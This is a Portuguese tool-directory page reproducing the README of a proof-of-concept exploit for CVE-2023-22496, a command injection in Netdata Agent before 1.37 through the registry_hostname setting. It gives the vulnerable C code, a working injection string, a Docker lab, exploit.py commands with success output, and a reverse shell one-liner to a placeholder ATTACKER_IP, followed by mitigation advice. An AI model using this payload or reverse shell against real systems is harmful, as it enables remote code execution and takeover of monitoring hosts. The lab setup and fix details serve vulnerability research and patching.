Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-22496-PoC — PoC para CVE-2023-22496: Injeção de Comando no SO no Netdata Agent <1.37 via registry_hostname | Kitploit
Ferramentas/GitHubGitHub/jstjep00/cve-2023-22496-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoLabs e Prática
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

PoC para CVE-2023-22496: Injeção de Comando no SO no Netdata Agent <1.37 via registry_hostname

Ver Repositório
13há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-22496 — Prova de Conceito de Injeção de Comandos do SO no Netdata Agent

Gravidade: Crítica (CVSS 9.8)
Afetado: Netdata Agent < 1.37.0
Corrigido em: v1.37.0
Tipo: Injeção de Comandos do SO (CWE-78)


Visão Geral

CVE-2023-22496 é uma vulnerabilidade de injeção de comandos do SO no sistema de notificação de alarmes de saúde do Netdata. O registry_hostname de qualquer nó em uma cadeia de streaming é inserido em um comando shell sem sanitização. Um atacante que consiga definir registry hostname em um arquivo de configuração do Netdata obtém execução remota de código como o usuário do processo netdata em qualquer nó pai que processe o alarme.


Detalhes da Vulnerabilidade

Código vulnerável —

health/health.c
root@kitploit:~
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd passa a string para /bin/sh -c, que a avalia como shell. Como registry_hostname nunca é sanitizado, um atacante pode injetar comandos shell arbitrários.

Bypass: substituição de processo exec

A injeção ingênua `'; cmd; '` não funciona porque o builtin exec do shell substitui o processo atual do shell, então o ;cmd; injetado nunca é alcançado.

Bypass funcional — use & (operador de background):

root@kitploit:~
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

Cadeia de Ataque via Streaming

root@kitploit:~
┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

O atacante só precisa controlar qualquer nó na cadeia de streaming. O registry_hostname é propagado no protocolo de stream e usado literalmente por cada nó pai quando chama health_alarm_execute.


Estrutura do Repositório

root@kitploit:~
CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

Início Rápido

Pré-requisitos

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • ~500 MB de disco (construção da imagem)
  • Acesso à internet para a construção Docker (baixa o código fonte do Netdata v1.36.1)

Passo 1 — Construir a imagem Docker vulnerável

root@kitploit:~
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

Passo 2 — Iniciar o ambiente vulnerável de 3 nós

root@kitploit:~
docker compose up -d

Aguarde ~15 segundos para o Netdata inicializar e então verifique:

root@kitploit:~
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

Passo 3 — Executar o exploit

root@kitploit:~
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

Saída esperada:

root@kitploit:~
======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

Exemplo de Reverse Shell

root@kitploit:~
# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Comando Personalizado

root@kitploit:~
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

Desmontagem

root@kitploit:~
# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

Mitigação

AçãoDetalhe
AtualizarAtualizar o Netdata Agent para ≥ v1.37.0
RestringirRestringir acesso de escrita ao netdata.conf
RedeIsolar as portas de streaming (19999/tcp) apenas para redes confiáveis
Verificarnetdata --version — confirme que você não está em uma versão anterior a 1.37

A correção na v1.37.0 sanitiza o registry_hostname rejeitando quaisquer caracteres fora de [a-zA-Z0-9._-] antes de inseri-lo no comando shell.


Referências

  • NVD — CVE-2023-22496
  • GitHub Security Advisory GHSA-qxg7-jvq3-7x6h
  • Netdata fix commit
  • Netdata v1.37.0 release

Aviso Legal

Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Executar este PoC contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito é ilegal. Os autores não assumem nenhuma responsabilidade pelo uso indevido.

Baixar ferramenta